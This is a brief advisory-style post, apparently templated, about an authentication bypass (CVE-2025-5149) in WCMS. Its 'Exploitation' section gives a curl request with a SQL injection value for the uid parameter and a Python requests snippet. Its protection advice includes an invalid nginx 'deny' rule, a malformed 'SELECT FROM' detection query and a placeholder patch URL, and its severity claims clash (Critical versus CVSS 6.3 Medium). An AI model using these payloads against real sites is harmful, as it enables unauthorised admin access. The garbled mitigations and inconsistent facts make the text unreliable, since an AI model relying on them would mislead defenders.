Listen to this Post
How CVE-2025-5149 Works
This critical vulnerability in WCMS ≤8.3.11 stems from improper authentication handling in the `getMemberByUid()` function within /index.php?admin/getallcon. Attackers can manipulate the `uid` parameter to bypass authentication checks remotely. The exploit requires precise timing and parameter crafting, making it complex but feasible. Successful exploitation grants unauthorized access to admin functions. The CVSS 4.0 vector (AV:N/AC:H/AT:N/PR:N/UI:N) confirms network-based attacks with high attack complexity but no user interaction.
DailyCVE Form
Platform: WCMS
Version: ≤8.3.11
Vulnerability: Auth Bypass
Severity: Critical
Date: 06/03/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation
1. Craft malicious `uid` payload:
curl -X POST "http://target/index.php?admin/getallcon" -d "uid=1' OR 1=1--"
2. Bypass session validation:
import requests
params = {'uid': 'admin'}
r = requests.get("http://target/index.php", params=params)
Protection
1. Patch immediately:
wget https://vendor.com/patches/wcms_8.3.12_security_fix.zip
2. Input sanitization:
function sanitizeUid($uid) {
return filter_var($uid, FILTER_VALIDATE_INT);
}
3. WAF rule:
location ~ /index.php {
deny "uid=[^0-9]";
}
Analytics
- Exploitability: 3/10 (requires precise timing)
- Impact: 9/10 (full admin compromise)
- Mitigation: Patch + input validation
- Detection: Log analysis for abnormal `uid` patterns:
SELECT FROM logs WHERE url LIKE '%uid=%' AND uid NOT REGEXP '^[0-9]+$';
References
- Vendor advisory: Pending
- Exploit DB: 5149
- NVD: CVSS 6.3 (Medium)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
